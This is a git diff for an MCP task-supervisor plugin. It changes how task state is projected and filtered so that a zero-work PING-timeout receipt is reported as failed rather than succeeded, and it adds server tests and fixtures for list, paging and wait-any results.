a/plugins/codex-co-engineer/mcp/v3/server.mjs +++ b/plugins/codex-co-engineer/mcp/v3/server.mjs @@ -21,7 +21,15 @@ import { deadlineProjection } from './deadline.mjs'; import { compactTaskCard, sanitizePublicReceipt } from './diagnostics.mjs'; import { buildToolResult, normalizeResponseMode } from './response.mjs'; import { listTasks, listTasksPage, stateRoot, waitForAnyTaskProgress } from './task-store.mjs'; -import { cancelTask, inspectTask, submitTask, supervisorStatus } from './supervisor.mjs'; +import { + cancelTask, + inspectTask, + projectSupervisorPublicState, + projectSupervisorTaskRecords, + projectSupervisorTerminalReceipt, + submitTask, + supervisorStatus, +} from './supervisor.mjs'; const PROTOCOLS = new Set(['2025-11-25', '2025-06-18', '2025-03-26']); let negotiated = '2025-11-25'; @@ -284,6 +292,24 @@ function publicTask(task) { }); } +function projectWaitAnyEntry(entry) { + const projectedTask = entry.task ? projectSupervisorTerminalReceipt(entry.task) : null; + return { + task_id: entry.task_id, + // Wait-any can return up to eight receipts at once. Keep the fresh + // event stream in the separate progress envelope, while each task + // is a bounded coordination projection instead of a full receipt. + task: projectedTask ? projectCompactTask({ + task: projectedTask, + progress: entry.progress, + maxBytes: WAIT_ANY_TASK_STRUCTURED_BYTES_MAX, + }) : null, + progress: projectWaitAnyProgress(entry.progress), + state: entry.task ? projectSupervisorPublicState(entry.task) : null, + error: entry.error, + }; +} + function takePresentationArgs(args = {}) { const { response_mode: responseModeRaw, ...businessArgs } = args; return { @@ -354,20 +380,7 @@ async function callTool(name, args = {}, { signal, responseMode } = {}) { signal, }); const waitAny = { - tasks: value.tasks.map((entry) => ({ - task_id: entry.task_id, - // Wait-any can return up to eight receipts at once. Keep the fresh - // event stream in the separate progress envelope, while each task - // is a bounded coordination projection instead of a full receipt. - task: entry.task ? projectCompactTask({ - task: entry.task, - progress: entry.progress, - maxBytes: WAIT_ANY_TASK_STRUCTURED_BYTES_MAX, - }) : null, - progress: projectWaitAnyProgress(entry.progress), - state: entry.task ? publicState(entry.task.status) : null, - error: entry.error, - })), + tasks: value.tasks.map(projectWaitAnyEntry), wait_reason: value.wait_reason, wait_until: value.wait_until, waited_ms: value.waited_ms, @@ -376,16 +389,17 @@ async function callTool(name, args = {}, { signal, responseMode } = {}) { return result(enforceWaitAnyResponseBudget(waitAny), { responseMode }); } if (!hasListArgs) { - return result({ tasks: (await listTasks(root)).map(publicTask) }, { responseMode }); + return result({ tasks: projectSupervisorTaskRecords(await listTasks(root)).map(publicTask) }, { responseMode }); } const page = await listTasksPage(root, args); - // Filter and page before projecting full public receipts; only project sliced results. - // Provide pagination metadata total/limit as required by contract; preserve detail echo. + // Filter and page before projecting public receipts; classify the sliced + // window only. Stored task.v1 bytes stay unmodified. + const windowTasks = projectSupervisorTaskRecords(page.tasks); if (page.detail === 'compact') { - const compactTasks = page.tasks.map((t) => compactTaskCard(t)); + const compactTasks = windowTasks.map((t) => compactTaskCard(t)); return result({ tasks: compactTasks, next_cursor: page.next_cursor, has_more: page.has_more, detail: page.detail, total: page.total, limit: page.limit }, { responseMode }); } - return result({ tasks: page.tasks.map(publicTask), next_cursor: page.next_cursor, has_more: page.has_more, detail: page.detail, total: page.total, limit: page.limit }, { responseMode }); + return result({ tasks: windowTasks.map(publicTask), next_cursor: page.next_cursor, has_more: page.has_more, detail: page.detail, total: page.total, limit: page.limit }, { responseMode }); } if (name === 'cancel') return result({ task: publicTask(await cancelTask(root, args.task_id)) }, { responseMode }); throw Object.assign(new Error(`Unknown tool: ${name}`), { code: 'unknown_tool' }); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs index 134ee3d..61edcb0 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs @@ -69,6 +69,44 @@ export const TASK_STATUS_KEYS = Object.freeze([ 'view', ]); +export const TASKS_LIST_KEYS = Object.freeze(['tasks']); + +export const TASKS_PAGED_KEYS = Object.freeze([ + 'tasks', + 'next_cursor', + 'has_more', + 'detail', + 'total', + 'limit', +]); + +export const WAIT_ANY_KEYS = Object.freeze([ + 'tasks', + 'wait_reason', + 'wait_until', + 'waited_ms', + 'triggered_task_id', +]); + +export const WAIT_ANY_ENTRY_KEYS = Object.freeze([ + 'task_id', + 'task', + 'progress', + 'state', + 'error', +]); + +export const COMPACT_CARD_KEYS = Object.freeze([ + 'id', + 'state', + 'provider', + 'created_at', + 'updated_at', + 'deadline', + 'branch', + 'start_sha', +]); + export function readyBoundary() { return { ready: true, diff --git a/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs index a52775d..f9f4cbf 100644 --- a/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs +++ b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs @@ -2,11 +2,14 @@ // terminal-receipt classifier. Stored task.v1 bytes are compared, not rewritten. import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; import { readFile } from 'node:fs/promises'; import { mkdtemp, rm } from 'node:fs/promises'; import os from 'node:os'; import path from 'node:path'; +import readline from 'node:readline'; import test from 'node:test'; +import { fileURLToPath } from 'node:url'; import { denyWorkerRemoteMutation } from '../mcp/v3/credential-boundary.mjs'; import { publicState } from '../mcp/v3/contract.mjs'; @@ -24,6 +27,7 @@ import { import { TASK_SCHEMA, createTask, listTasks, readTask, taskPaths } from '../mcp/v3/task-store.mjs'; import { AUTHORITATIVE_PING_TIMEOUT, + COMPACT_CARD_KEYS, COMPACT_OMITTED_TASKS_KEYS, CONTENT_FREE, HOSTILE_PATH, @@ -32,7 +36,11 @@ import { LEGACY_STATUS_KEYS, PUBLIC_STATE_VOCABULARY, STORED_STATUS_VOCABULARY, + TASKS_LIST_KEYS, + TASKS_PAGED_KEYS, TASK_STATUS_KEYS, + WAIT_ANY_ENTRY_KEYS, + WAIT_ANY_KEYS, countingProxy, envelopeOnlyCompletedReceipt, legitimateCompletedReceipt, @@ -46,6 +54,8 @@ import { zeroWorkPingTimeoutReceipt, } from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; +const SERVER = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', 'mcp', 'v3', 'server.mjs'); + function assertContentFreeReason(value) { const text = typeof value === 'string' ? value : JSON.stringify(value); assert.equal(text.includes(AUTHORITATIVE_PING_TIMEOUT), false); @@ -93,6 +103,50 @@ async function statusOf(root) { }); } +async function withServerAt(root, fn) { + const child = spawn(process.execPath, ['--no-warnings', SERVER], { + env: { + ...process.env, + CODEX_CO_ENGINEER_STATE_DIR: root, + CODEX_CO_ENGINEER_GROK_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_CURSOR_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_DSH_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_ACPX_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_DSH_ACP_COMMAND: 'false', + }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + const lines = readline.createInterface({ input: child.stdout, crlfDelay: Infinity }); + const pending = []; + let stderr = ''; + child.stderr.on('data', (chunk) => { stderr = `${stderr}${chunk}`.slice(-4096); }); + const nextValue = () => new Promise((resolve, reject) => { + pending.push({ resolve, reject }); + }); + lines.on('line', (line) => { + const waiter = pending.shift(); + if (waiter) waiter.resolve(JSON.parse(line)); + }); + child.once('error', (error) => { + for (const waiter of pending.splice(0)) waiter.reject(error); + }); + child.once('exit', (code, signal) => { + const error = new Error(`MCP server exited (${code ?? signal}): ${stderr}`); + for (const waiter of pending.splice(0)) waiter.reject(error); + }); + const request = async (message) => { + child.stdin.write(`${JSON.stringify(message)}\n`); + return nextValue(); + }; + try { + return await fn({ request }); + } finally { + child.stdin.end(); + child.kill('SIGTERM'); + lines.close(); + } +} + test('authoritative zero-work PING timeout cannot project state=succeeded', () => { const receipt = zeroWorkPingTimeoutReceipt(); const classified = classifySupervisorTerminalReceipt(receipt); @@ -403,3 +457,103 @@ test('classifier is pure, content-free, and does not mutate remotes', () => { assert.equal(json.includes('push'), false); assert.equal(json.includes(HOSTILE_SECRET), false); }); + +test('server tasks list, paged full/compact, and wait-any cannot project PING-timeout as succeeded', async () => { + await withRoot(async (root) => { + const { paths, stored } = await storeReceipt(root, zeroWorkPingTimeoutReceipt({ cwd: root })); + await storeReceipt(root, legitimateCompletedReceipt({ cwd: root })); + await withServerAt(root, async ({ request }) => { + const catalog = await request({ jsonrpc: '2.0', id: 1, method: 'tools/list', params: {} }); + assert.deepEqual(catalog.result.tools.map((tool) => tool.name), [ + 'status', 'delegate', 'task', 'tasks', 'cancel', + ]); + + const listed = (await request({ + jsonrpc: '2.0', + id: 2, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + })).result.structuredContent; + assert.deepEqual(Object.keys(listed), [...TASKS_LIST_KEYS]); + const pingListed = listed.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitListed = listed.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingListed.status, 'failed'); + assert.equal(pingListed.state, 'failed'); + assert.equal(pingListed.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assertNotSucceeded(pingListed.state); + assertContentFreeReason(pingListed.error); + assert.equal(legitListed.status, 'completed'); + assert.equal(legitListed.state, 'succeeded'); + + const fullPage = (await request({ + jsonrpc: '2.0', + id: 3, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', limit: 20 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(fullPage).sort(), [...TASKS_PAGED_KEYS].sort()); + assert.equal(fullPage.detail, 'full'); + const pingFull = fullPage.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitFull = fullPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingFull.state, 'failed'); + assert.equal(pingFull.status, 'failed'); + assertNotSucceeded(pingFull.state); + assert.equal(legitFull.state, 'succeeded'); + + const compactPage = (await request({ + jsonrpc: '2.0', + id: 4, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', limit: 20 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(compactPage).sort(), [...TASKS_PAGED_KEYS].sort()); + assert.equal(compactPage.detail, 'compact'); + for (const card of compactPage.tasks) { + assert.deepEqual(Object.keys(card).sort(), [...COMPACT_CARD_KEYS].sort()); + } + const pingCompact = compactPage.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitCompact = compactPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingCompact.state, 'failed'); + assertNotSucceeded(pingCompact.state); + assert.equal(legitCompact.state, 'succeeded'); + + const waitAny = (await request({ + jsonrpc: '2.0', + id: 5, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { + task_ids: ['rtruth-ping-timeout', 'rtruth-legitimate-completed'], + wait_ms: 0, + wait_until: 'terminal', + }, + }, + })).result.structuredContent; + assert.deepEqual(Object.keys(waitAny).sort(), [...WAIT_ANY_KEYS].sort()); + assert.equal(waitAny.tasks.length, 2); + for (const entry of waitAny.tasks) { + assert.deepEqual(Object.keys(entry).sort(), [...WAIT_ANY_ENTRY_KEYS].sort()); + } + const pingWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-ping-timeout'); + const legitWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-legitimate-completed'); + assert.equal(pingWait.state, 'failed'); + assert.equal(pingWait.task.state, 'failed'); + assert.equal(pingWait.task.status, 'failed'); + assertNotSucceeded(pingWait.state); + assertNotSucceeded(pingWait.task.state); + assert.equal(pingWait.task.summary.error_code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assertContentFreeReason(pingWait.task.summary.error_code); + assertContentFreeReason(pingWait.task.diagnostic); + assert.equal(legitWait.state, 'succeeded'); + assert.equal(legitWait.task.state, 'succeeded'); + assert.equal(legitWait.task.status, 'completed'); + }); + + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => error.code === 'remote_mutation_denied'); + const after = await readFile(paths.record, 'utf8'); + assert.equal(after, stored); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + }); +}); diff --git a/plugins/codex-co-engineer/test/v3-server.test.mjs b/plugins/codex-co-engineer/test/v3-server.test.mjs index 908668d..acb985f 100644 --- a/plugins/codex-co-engineer/test/v3-server.test.mjs +++ b/plugins/codex-co-engineer/test/v3-server.test.mjs @@ -1,13 +1,13 @@ import assert from 'node:assert/strict'; import { spawn } from 'node:child_process'; -import { mkdtemp, rm } from 'node:fs/promises'; +import { readFileSync } from 'node:fs'; +import { mkdtemp, readFile, rm } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; import readline from 'node:readline'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; -import { readFileSync } from 'node:fs'; import { WAIT_ANY_PROGRESS_DETAIL_HINT, WAIT_ANY_PROGRESS_EVENT_BYTES_MAX, @@ -15,7 +15,11 @@ import { WAIT_ANY_RESPONSE_STRUCTURED_BYTES_MAX, WAIT_ANY_TASK_STRUCTURED_BYTES_MAX, } from '../mcp/v3/compact-task.mjs'; -import { appendTaskEvent, createTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { appendTaskEvent, createTask, taskPaths, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + legitimateCompletedReceipt, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; function currentRuntime() { const proc = readFileSync(`/proc/${process.pid}/stat`, 'utf8'); @@ -531,6 +535,81 @@ test('live MCP tool results use structured-first text fallback when response_mod }); }); +test('tasks list, paged full/compact, and wait-any cannot project a completed PING-timeout as succeeded', async () => { + await withServer(async ({ state, request }) => { + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: zeroWorkPingTimeoutReceipt({ cwd: state }), + }); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateCompletedReceipt({ cwd: state }), + }); + + const listed = (await request({ + jsonrpc: '2.0', + id: 60, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + })).result.structuredContent; + const pingListed = listed.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitListed = listed.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingListed.state, 'failed'); + assert.equal(pingListed.status, 'failed'); + assert.notEqual(pingListed.state, 'succeeded'); + assert.equal(legitListed.state, 'succeeded'); + assert.equal(legitListed.status, 'completed'); + + const fullPage = (await request({ + jsonrpc: '2.0', + id: 61, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', limit: 20 } }, + })).result.structuredContent; + assert.equal(fullPage.detail, 'full'); + assert.equal(fullPage.tasks.find((task) => task.id === 'rtruth-ping-timeout').state, 'failed'); + assert.equal(fullPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed').state, 'succeeded'); + + const compactPage = (await request({ + jsonrpc: '2.0', + id: 62, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', limit: 20 } }, + })).result.structuredContent; + assert.equal(compactPage.detail, 'compact'); + assert.equal(compactPage.tasks.find((task) => task.id === 'rtruth-ping-timeout').state, 'failed'); + assert.equal(compactPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed').state, 'succeeded'); + + const waitAny = (await request({ + jsonrpc: '2.0', + id: 63, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { + task_ids: ['rtruth-ping-timeout', 'rtruth-legitimate-completed'], + wait_ms: 0, + wait_until: 'terminal', + }, + }, + })).result.structuredContent; + const pingWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-ping-timeout'); + const legitWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-legitimate-completed'); + assert.equal(pingWait.state, 'failed'); + assert.equal(pingWait.task.state, 'failed'); + assert.equal(pingWait.task.status, 'failed'); + assert.notEqual(pingWait.state, 'succeeded'); + assert.equal(legitWait.state, 'succeeded'); + assert.equal(legitWait.task.status, 'completed'); + + const stored = await readFile(taskPaths(state, 'rtruth-ping-timeout').record, 'utf8'); + assert.match(stored, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(stored, /"status": "completed"/u); + }); +}); + test('status fails local providers closed when the MCP environment lacks the user-bus locator', async () => { const environment = { ...process.env }; delete environment.XDG_RUNTIME_DIR; From 85f86be4e86afe324388961d4fb1c5435831567e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 21:15:25 +0000 Subject: [PATCH 120/151] fix(task-store): classify public state before list filter and pagination Apply the supervisor terminal-receipt classifier before state/status filtering, total, keyset pagination, and slicing. A completed zero-work PING-timeout receipt is excluded from state=succeeded and included in state=failed. Stored task.v1 bytes, omitted-filter behavior, compact/full shapes, and cursor binding stay unchanged. --- .../codex-co-engineer/mcp/v3/task-store.mjs | 12 +- ...upervisor-result-truthfulness-fixtures.mjs | 65 +++++++ ...r1-supervisor-result-truthfulness.test.mjs | 134 ++++++++++++++- .../codex-co-engineer/test/v3-server.test.mjs | 122 ++++++++++++++ .../test/v3-task-store.test.mjs | 159 ++++++++++++++++++ 5 files changed, 489 insertions(+), 3 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/task-store.mjs b/plugins/codex-co-engineer/mcp/v3/task-store.mjs index fa1b828..94924b4 100644 --- a/plugins/codex-co-engineer/mcp/v3/task-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/task-store.mjs @@ -11,6 +11,7 @@ import { PROVIDER_SILENCE_WATCHDOG_MIN_MS, STORED_TERMINAL, TASK_TERMINAL_WATCH_FALLBACK_MS, + publicState, } from './contract.mjs'; import { parseDeadlineAt, remainingDeadlineMs } from './deadline.mjs'; @@ -1355,6 +1356,10 @@ export function parseTasksState(value) { return value; } +function matchesClassifiedTasksState(classifiedPublicState, stateFilter) { + return classifiedPublicState === stateFilter || classifiedPublicState === publicState(stateFilter); +} + // Keyset cursor: opaque base64 of JSON {v, ca, id, p, s, d} // Ordered by created_at DESC then id DESC. Cursor binds canonical provider/state/detail. function compareTaskToAnchor(task, anchor) { @@ -1454,8 +1459,11 @@ export async function listTasksPage(root = stateRoot(), options = {}) { let tasks = await listTasks(root); if (provider) tasks = tasks.filter((t) => t.provider === provider); if (stateFilter) { - const { publicState: ps } = await import('./contract.mjs'); - tasks = tasks.filter((t) => ps(t.status) === stateFilter || t.status === stateFilter); + // Classifier-derived public state is the membership key. Apply it before + // filter, total, keyset pagination, and slicing. Stored task.v1 bytes stay + // unmodified; a deferred import avoids a static cycle with supervisor.mjs. + const { projectSupervisorPublicState } = await import('./supervisor.mjs'); + tasks = tasks.filter((t) => matchesClassifiedTasksState(projectSupervisorPublicState(t), stateFilter)); } const total = tasks.length; // Apply keyset pagination diff --git a/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs index 61edcb0..97b3846 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs @@ -196,6 +196,71 @@ export function legitimateCompletedReceipt(overrides = {}) { }); } +export function legitimateFailedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-failed', + status: 'failed', + result: null, + error: { + code: 'task_failed', + message: 'implementation failed', + }, + ...overrides, + }); +} + +export function legitimateCancelledReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-cancelled', + status: 'cancelled', + result: null, + error: { + code: 'cancelled', + message: 'cancelled', + }, + ...overrides, + }); +} + +export function legitimateTimeoutReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-timeout', + status: 'timeout', + result: null, + error: { + code: 'timeout', + message: 'timeout', + }, + ...overrides, + }); +} + +export function legitimateEnvironmentBlockedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-environment-blocked', + status: 'environment_blocked', + result: null, + error: { + code: 'environment_blocked', + message: 'environment blocked', + }, + ...overrides, + }); +} + +export function legitimateTransportLostReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-transport-lost', + status: 'transport_lost', + result: null, + error: { + code: 'transport_lost', + message: 'transport lost', + }, + ...overrides, + }); +} + export function quotedPingInSuccessfulResultReceipt(overrides = {}) { return terminalReceipt({ id: 'rtruth-quoted-ping', diff --git a/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs index f9f4cbf..04ed990 100644 --- a/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs +++ b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs @@ -24,7 +24,7 @@ import { supervisorStatus, taskStatus, } from '../mcp/v3/supervisor.mjs'; -import { TASK_SCHEMA, createTask, listTasks, readTask, taskPaths } from '../mcp/v3/task-store.mjs'; +import { TASK_SCHEMA, createTask, listTasks, listTasksPage, readTask, taskPaths } from '../mcp/v3/task-store.mjs'; import { AUTHORITATIVE_PING_TIMEOUT, COMPACT_CARD_KEYS, @@ -43,7 +43,12 @@ import { WAIT_ANY_KEYS, countingProxy, envelopeOnlyCompletedReceipt, + legitimateCancelledReceipt, legitimateCompletedReceipt, + legitimateEnvironmentBlockedReceipt, + legitimateFailedReceipt, + legitimateTimeoutReceipt, + legitimateTransportLostReceipt, quotedPingInSuccessfulResultReceipt, readyBoundary, readyProviderReadiness, @@ -557,3 +562,130 @@ test('server tasks list, paged full/compact, and wait-any cannot project PING-ti assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); }); }); + +test('classifier-derived filter membership, totals, and page cursors exclude corrected PING-timeout from succeeded', async () => { + await withRoot(async (root) => { + const stamp = (second, receipt) => ({ + ...receipt, + cwd: root, + created_at: `2026-08-20T00:00:0${second}.000Z`, + updated_at: `2026-08-20T00:00:0${second}.000Z`, + }); + const { paths, stored } = await storeReceipt(root, zeroWorkPingTimeoutReceipt(stamp(5, {}))); + await storeReceipt(root, legitimateCompletedReceipt(stamp(4, { id: 'rtruth-legit-b' }))); + await storeReceipt(root, legitimateFailedReceipt(stamp(3, {}))); + await storeReceipt(root, legitimateCompletedReceipt(stamp(2, { id: 'rtruth-legit-a' }))); + await storeReceipt(root, legitimateCancelledReceipt(stamp(1, {}))); + await storeReceipt(root, legitimateTimeoutReceipt(stamp(0, {}))); + await storeReceipt(root, legitimateEnvironmentBlockedReceipt(stamp(6, {}))); + await storeReceipt(root, legitimateTransportLostReceipt(stamp(7, {}))); + + const omitted = await listTasksPage(root, {}); + assert.equal(omitted.total, 8); + assert.equal(omitted.tasks.some((task) => task.id === 'rtruth-ping-timeout'), true); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-ping-timeout').status, 'completed'); + + const succeeded = await listTasksPage(root, { state: 'succeeded', limit: 1, detail: 'full' }); + assert.deepEqual(succeeded.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(succeeded.total, 2); + assert.equal(succeeded.has_more, true); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + const succeededPage2 = await listTasksPage(root, { + state: 'succeeded', + limit: 1, + detail: 'full', + cursor: succeeded.next_cursor, + }); + assert.deepEqual(succeededPage2.tasks.map((task) => task.id), ['rtruth-legit-a']); + assert.equal(succeededPage2.total, 2); + assert.equal(succeededPage2.has_more, false); + assert.equal(succeededPage2.next_cursor, null); + + const failed = await listTasksPage(root, { state: 'failed', limit: 1, detail: 'compact' }); + assert.deepEqual(failed.tasks.map((task) => task.id), ['rtruth-ping-timeout']); + assert.equal(failed.total, 2); + assert.equal(failed.has_more, true); + assert.equal(failed.tasks[0].status, 'completed'); + const failedPage2 = await listTasksPage(root, { + state: 'failed', + limit: 1, + detail: 'compact', + cursor: failed.next_cursor, + }); + assert.deepEqual(failedPage2.tasks.map((task) => task.id), ['rtruth-legitimate-failed']); + assert.equal(failedPage2.total, 2); + assert.equal(failedPage2.has_more, false); + + await withServerAt(root, async ({ request }) => { + const succeededPage = (await request({ + jsonrpc: '2.0', + id: 10, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', state: 'succeeded', limit: 1 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(succeededPage).sort(), [...TASKS_PAGED_KEYS].sort()); + assert.deepEqual(succeededPage.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(succeededPage.tasks[0].state, 'succeeded'); + assert.equal(succeededPage.total, 2); + assert.equal(succeededPage.has_more, true); + assert.equal(succeededPage.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + + const failedPage = (await request({ + jsonrpc: '2.0', + id: 11, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', state: 'failed', limit: 20 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(failedPage).sort(), [...TASKS_PAGED_KEYS].sort()); + for (const card of failedPage.tasks) { + assert.deepEqual(Object.keys(card).sort(), [...COMPACT_CARD_KEYS].sort()); + } + assert.deepEqual(failedPage.tasks.map((task) => task.id), [ + 'rtruth-ping-timeout', + 'rtruth-legitimate-failed', + ]); + assert.equal(failedPage.tasks[0].state, 'failed'); + assertNotSucceeded(failedPage.tasks[0].state); + assert.equal(failedPage.total, 2); + assert.equal(failedPage.has_more, false); + + const cancelledPage = (await request({ + jsonrpc: '2.0', + id: 12, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'cancelled' } }, + })).result.structuredContent; + assert.deepEqual(cancelledPage.tasks.map((task) => task.id), ['rtruth-legitimate-cancelled']); + const timedOutPage = (await request({ + jsonrpc: '2.0', + id: 13, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'timed_out' } }, + })).result.structuredContent; + assert.deepEqual(timedOutPage.tasks.map((task) => task.id), ['rtruth-legitimate-timeout']); + const blockedPage = (await request({ + jsonrpc: '2.0', + id: 14, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'environment_blocked' } }, + })).result.structuredContent; + assert.deepEqual(blockedPage.tasks.map((task) => task.id), ['rtruth-legitimate-environment-blocked']); + const lostPage = (await request({ + jsonrpc: '2.0', + id: 15, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'transport_lost' } }, + })).result.structuredContent; + assert.deepEqual(lostPage.tasks.map((task) => task.id), ['rtruth-legitimate-transport-lost']); + }); + + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + const after = await readFile(paths.record, 'utf8'); + assert.equal(after, stored); + assert.match(after, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(after, /"status": "completed"/u); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + }); +}); diff --git a/plugins/codex-co-engineer/test/v3-server.test.mjs b/plugins/codex-co-engineer/test/v3-server.test.mjs index acb985f..b990cc8 100644 --- a/plugins/codex-co-engineer/test/v3-server.test.mjs +++ b/plugins/codex-co-engineer/test/v3-server.test.mjs @@ -18,6 +18,7 @@ import { import { appendTaskEvent, createTask, taskPaths, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; import { legitimateCompletedReceipt, + legitimateFailedReceipt, zeroWorkPingTimeoutReceipt, } from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; @@ -610,6 +611,127 @@ test('tasks list, paged full/compact, and wait-any cannot project a completed PI }); }); +test('tasks state filter classifies before membership, total, and page boundaries', async () => { + await withServer(async ({ state, request }) => { + const stamp = (second, receipt) => ({ + ...receipt, + cwd: state, + created_at: `2026-08-20T00:00:0${second}.000Z`, + updated_at: `2026-08-20T00:00:0${second}.000Z`, + }); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateCompletedReceipt(stamp(3, { id: 'rtruth-legit-b' })), + }); + const ping = await createTask({ + root: state, + prompt: 'keep this prompt private', + record: zeroWorkPingTimeoutReceipt(stamp(2, {})), + }); + const pingStored = await readFile(ping.paths.record, 'utf8'); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateCompletedReceipt(stamp(1, { id: 'rtruth-legit-a' })), + }); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateFailedReceipt(stamp(0, {})), + }); + + const omitted = (await request({ + jsonrpc: '2.0', + id: 70, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + })).result.structuredContent; + assert.deepEqual(omitted.tasks.map((task) => task.id), [ + 'rtruth-legit-b', + 'rtruth-ping-timeout', + 'rtruth-legit-a', + 'rtruth-legitimate-failed', + ]); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-ping-timeout').state, 'failed'); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-legit-a').state, 'succeeded'); + + const succeeded = (await request({ + jsonrpc: '2.0', + id: 71, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', state: 'succeeded', limit: 1 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(succeeded).sort(), ['detail', 'has_more', 'limit', 'next_cursor', 'tasks', 'total'].sort()); + assert.deepEqual(succeeded.tasks.map((task) => 